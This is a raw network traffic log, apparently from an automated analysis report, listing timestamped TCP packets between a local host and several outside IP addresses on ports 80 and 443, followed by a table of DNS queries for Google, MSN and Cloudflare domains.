Nov 18, 2024 00:27:57.292541981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292543888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.292572975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.292596102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.293091059 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.293123007 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.294064999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294076920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294086933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294120073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294127941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294138908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294150114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294156075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294161081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294173956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294184923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294187069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294215918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294233084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294270039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294292927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294301987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294312000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294315100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294322968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294323921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294337034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294347048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294348001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294361115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294370890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294389963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294409037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294420004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294428110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294441938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294452906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294464111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294465065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294512987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294528961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294536114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294536114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294542074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294560909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294564009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294575930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294578075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294589996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294601917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294629097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294689894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294702053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294713974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294725895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294739008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294756889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294766903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294769049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294783115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294795990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294804096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294831991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294852972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294864893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294887066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294949055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294961929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294972897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.294976950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.294989109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295011997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295013905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295154095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295166016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295176983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295188904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295196056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295207977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295216084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295219898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295226097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295233011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295243979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295254946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295257092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295267105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295288086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295310020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295610905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295629978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295641899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295667887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295696020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295700073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295711994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295723915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295737028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295747042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295747995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295775890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295788050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295836926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295906067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295917988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295921087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295929909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295941114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295942068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.295960903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.295974970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296103001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296145916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296154022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296164989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296186924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296197891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296199083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296210051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296224117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296226978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296258926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296283960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296358109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296369076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296379089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296391964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296401978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296413898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296442986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296444893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296458006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296468973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296479940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296489954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296492100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296511889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296536922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296539068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296549082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296559095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296572924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296585083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296585083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296606064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296632051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296706915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296716928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296725988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296739101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296746969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296758890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296777964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296788931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296789885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296818972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296824932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296859980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296868086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296879053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296912909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296941996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296953917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296964884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.296978951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.296993971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297008991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297127962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297167063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297204971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297218084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297230005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297239065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297249079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297251940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297265053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297269106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297297955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297310114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297329903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297346115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297358036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297368050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297382116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297385931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297399044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297404051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297410011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297420979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297430038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297436953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297441006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297452927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297456980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297473907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297477007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297487974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297493935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297497988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297508955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297521114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297539949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297543049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297564030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297566891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297585011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297586918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297595978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297606945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297606945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297619104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297620058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297631025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297641039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297652960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297653913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297663927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297677040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297684908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297688007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297698975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297708988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297728062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297740936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297751904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297775984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297825098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297836065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297847986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297858953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.297863960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297874928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.297898054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.298398018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.298408985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.298419952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.298434019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.298444033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.298444986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.298458099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.298463106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.298494101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.298840046 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.298862934 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.298902035 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.298913956 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.298938036 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.298953056 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.300327063 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.300343990 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.300404072 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.300410032 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.300453901 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.300935030 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.300991058 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.300997972 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.301038980 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.301091909 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.302475929 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.302486897 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.312284946 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.312319040 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.312450886 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.312614918 CET	50028	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.312633038 CET	443	50028	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.318504095 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.318531036 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.318593025 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.318602085 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.318641901 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.319761992 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.320152998 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.320205927 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.320234060 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.320240974 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.320276022 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.320295095 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.320633888 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.320662022 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.321038961 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.321115017 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.321180105 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.321192980 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.332463980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.332572937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.332585096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.332597017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.332608938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.332623959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.332628965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.332636118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.332660913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.332672119 CET	80	49889	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 00:27:32.085455894 CET	192.168.2.6	1.1.1.1	0x2ea0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:32.085654974 CET	192.168.2.6	1.1.1.1	0xff55	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:37.504937887 CET	192.168.2.6	1.1.1.1	0xe035	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:37.505182981 CET	192.168.2.6	1.1.1.1	0xea9d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:38.484553099 CET	192.168.2.6	1.1.1.1	0x9c18	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:38.484699011 CET	192.168.2.6	1.1.1.1	0x8a4a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:42.538774014 CET	192.168.2.6	1.1.1.1	0x2781	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:42.538928986 CET	192.168.2.6	1.1.1.1	0x7e0	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:43.707355022 CET	192.168.2.6	1.1.1.1	0xaa72	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:43.707832098 CET	192.168.2.6	1.1.1.1	0x3051	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.009217024 CET	192.168.2.6	1.1.1.1	0x735a	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.009507895 CET	192.168.2.6	1.1.1.1	0x6419	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.051678896 CET	192.168.2.6	1.1.1.1	0x2687	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.051949978 CET	192.168.2.6	1.1.1.1	0x295c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.092916012 CET	192.168.2.6	1.1.1.1	0x1da7	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.093053102 CET	192.168.2.6	1.1.1.1	0x36db	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.235416889 CET	192.168.2.6	1.1.1.1	0x4b51	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.235843897 CET	192.168.2.6	1.1.1.1	0x2ba7	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.514656067 CET	192.168.2.6	1.1.1.1	0x85c5	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.514983892 CET	192.168.2.6	1.1.1.1	0x9946	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.980783939 CET	192.168.2.6	1.1.1.1	0xcc9d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.981981039 CET	192.168.2.6	1.1.1.1	0x369e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.982434034 CET	192.168.2.6	1.1.1.1	0x8afc	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 00:27:46.982569933 CET	192.168.2.6	1.1.1.1	0x1ee4	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 18, 2024 00:27:46.988997936 CET	192.168.2.6	1.1.1.1	0xf135	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
